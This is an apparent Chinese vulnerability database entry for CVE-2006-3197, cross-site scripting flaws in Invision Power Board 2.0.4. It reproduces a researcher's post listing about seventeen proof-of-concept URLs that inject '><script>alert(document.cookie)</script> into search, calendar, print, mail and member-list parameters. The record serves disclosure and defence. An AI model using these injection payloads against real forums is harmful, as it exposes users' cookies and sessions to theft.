Invision Power Board多个HTML注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1194433 漏洞类型 跨站脚本
发布时间 2006-06-22 更新时间 2006-06-26
CVE编号 CVE-2006-3197 CNNVD-ID CNNVD-200606-444
漏洞平台 N/A CVSS评分 4.3
|漏洞来源
https://cxsecurity.com/issue/WLB-2006030088
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200606-444
|漏洞详情
InvisionPowerBoard是一个非常流行的PHP论坛程序。由于PHP5和PHP4之间执行正则表达式方式之间的差异,导致InvisionPowerBoard中存在HTML注入漏洞。远程攻击者可以通过16进制的HTML元素向贴子中注入HTML代码。
|漏洞EXP
Software: Invision Power Board

Web Site:http://www.invisionpower.com

tested in v2.0.4

exploit :

forum/index.php?act=Search&nav=au&CODE=show&searchid=5f25843edb024288988
9796819a2b367&search_in=ooo&result_type='><script>alert(document.cookie)
</script>

forum/index.php?act=Search&nav=au&CODE=show&searchid=5f25843edb024288988
9796819a2b367&search_in='><script>alert(document.cookie)</script>&result
_type=posts

foum/index.php?act=Search&nav='><script>alert(document.cookie)</script>

forum/index.php?showtopic=1&st='><script>alert(document.cookie)</script>

forum/index.php?s=504b8a357b04e1b276f08a039955177f&act=Search&nav=au&COD
E=show&searchid=5f25843edb0242889889796819a2b367&search_in='><script>ale
rt(document.cookie)</script>
forum/index.php?s=21355e75e21dcc4c04e24c5c7247b220&act=Search&CODE=01&fo
rums='><script>alert(document.cookie)</script>

forum/index.php?s='><script>alert(document.cookie)</script>&act=Search&C
ODE=01&forums=all

forum/index.php?act=calendar&code=birthdays&y=[any 
year]&m='><script>alert(document.cookie)</script>&d=[any day]

forum/index.php?act=calendar&code=birthdays&y='><script>alert(document.c
ookie)</script>&m=[any 
month]&d=[any day]

forum/index.php?act=calendar&code=birthdays&y=[any year]&m=[any 
month]&d='><script>alert(document.cookie)</script>

forum/index.php?act=Print&client=printer&f=1&t='><script>alert(document.
cookie)</script>

forum/index.php?act=Mail&CODE=00&MID='><script>alert(document.cookie)</s
cript>

forum/index.php?act=Help&CODE=01&HID='><script>alert(document.cookie)</s
cript>

forum/index.php?act=search&CODE=getnew&active='><script>alert(document.c
ookie)</script>&lastdate=1

forum/index.php?act=Members&max_results=10&sort_key=posts&sort_order='><
script>alert(document.cookie)</script>

forum/index.php?act=Members&max_results='><script>alert(document.cookie)
</script>&sort_key=posts&sort_order=desc

forum/index.php?act=Members&max_results=10&sort_key='><script>alert(docu
ment.cookie)</script>&sort_order=desc&sort_order=desc

all 17 XSS are tested in v2.0.4

Discovered by: Mr.SNAKE

GreeTz : T0 mY a11 Fr!nD in www.lezr.com

special thnx for pppppp

_________________________________________________________________
Don't just search. Find. Check out the new MSN Search! 
http://search.msn.com/
|参考资料

来源:VUPEN
名称:ADV-2006-2481
链接:http://www.frsirt.com/english/advisories/2006/2481
来源:SECUNIA
名称:20772
链接:http://secunia.com/advisories/20772
来源:forums.invisionpower.com
链接:http://forums.invisionpower.com/index.php?showtopic=219126
来源:XF
名称:ipb-hexadecimal-xss(27701)
链接:http://xforce.iss.net/xforce/xfdb/27701
来源:BID
名称:18571
链接:http://www.securityfocus.com/bid/18571
来源:OSVDB
名称:26747
链接:http://www.osvdb.org/26747
来源:SREASON
名称:596
链接:http://securityreason.com/securityalert/596